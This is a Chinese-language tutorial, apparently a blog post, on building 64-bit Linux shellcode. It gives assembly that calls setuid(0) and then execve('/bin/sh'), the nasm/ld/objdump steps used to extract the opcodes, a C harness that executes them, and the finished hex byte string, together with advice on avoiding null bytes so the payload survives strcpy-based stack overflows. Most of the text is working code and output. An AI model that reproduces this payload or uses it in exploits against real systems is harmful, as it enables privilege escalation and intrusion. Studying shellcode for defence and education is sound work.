shellcode 是一组指令opcode, 是可以被程序运行,因为shellcode是要直接操作寄存器和函数,所以opcode 必须是十六进制的形式。
既然是攻击,那shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式。
第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的。
第二种是通过调用libc里syscall(64位)和sysenter(32位)
而目前在64位linux中推荐使用syscall,因为opcode是16进制的指令集合,可以通过先出汇编代码,然后编译成执行代码,最后查看opcode.
既然我们是想获得root权限,而且能够继续执行shell, 那么我们通常会使用下面代码(先不讨论linux相关的知识)。
shell.c
#include <stdio.h>而所对应的汇编代码如下
int main(){
setuid(0);
execve("/bin/sh",NULL,NULL);
}
global _start这并不是通过反汇编shell.c 出来的结果,而是通过参考一些资料所得到的,可以参考 点击打开链接
_start:
xor rdi,rdi
xor rax,rax
mov al,0x69
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
这个代码并不是能够执行的shellcode ,但是我们可以通过编译成可执行文件,而拿到我们需要的opcode
nasm -f elf64 shell.asm
ld -o shell shell.o
objdump -d shell
注意:在64位下使用使用的elf64 而32位下使用elf32
使用objdump 结果如下:
shell: file format elf64-x86-64OK, 中间的48 32 ff 48 31 c0 就是我们需要的可执行的opcode代码
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 ff xor %rdi,%rdi
400083: 48 31 c0 xor %rax,%rax
400086: b0 69 mov $0x69,%al
400088: 0f 05 syscall
40008a: 48 31 d2 xor %rdx,%rdx
40008d: 48 bb ff 2f 62 69 6e mov $0x68732f6e69622fff,%rbx
400094: 2f 73 68
400097: 48 c1 eb 08 shr $0x8,%rbx
40009b: 53 push %rbx
40009c: 48 89 e7 mov %rsp,%rdi
40009f: 48 31 c0 xor %rax,%rax
4000a2: 50 push %rax
4000a3: 57 push %rdi
4000a4: 48 89 e6 mov %rsp,%rsi
4000a7: b0 3b mov $0x3b,%al
4000a9: 0f 05 syscall
~
写代码测试我们opcode:
shelltest.c
#include <stdio.h>
#include <string.h>
char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
gcc -o shelltest shelltest.c
./shelltest
看到执行结果,我们切到了shell 的环境
\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05就是我们想得到的可以执行的shellcode
注意: 并不是所有的可执行的shellcode都是可以被用于攻击执行的,一来函数未必可以在当前的环境下可被调用,二来也是最重要的一点opcode中不允许有/x0出现,为什么?因为在制造栈溢出的时候,我们利用的是一些危险函数的漏洞,比如strcpy这些函数在调用的时候遇到/x0是作为终止符,那么会导致opcode不能被完整复制。 |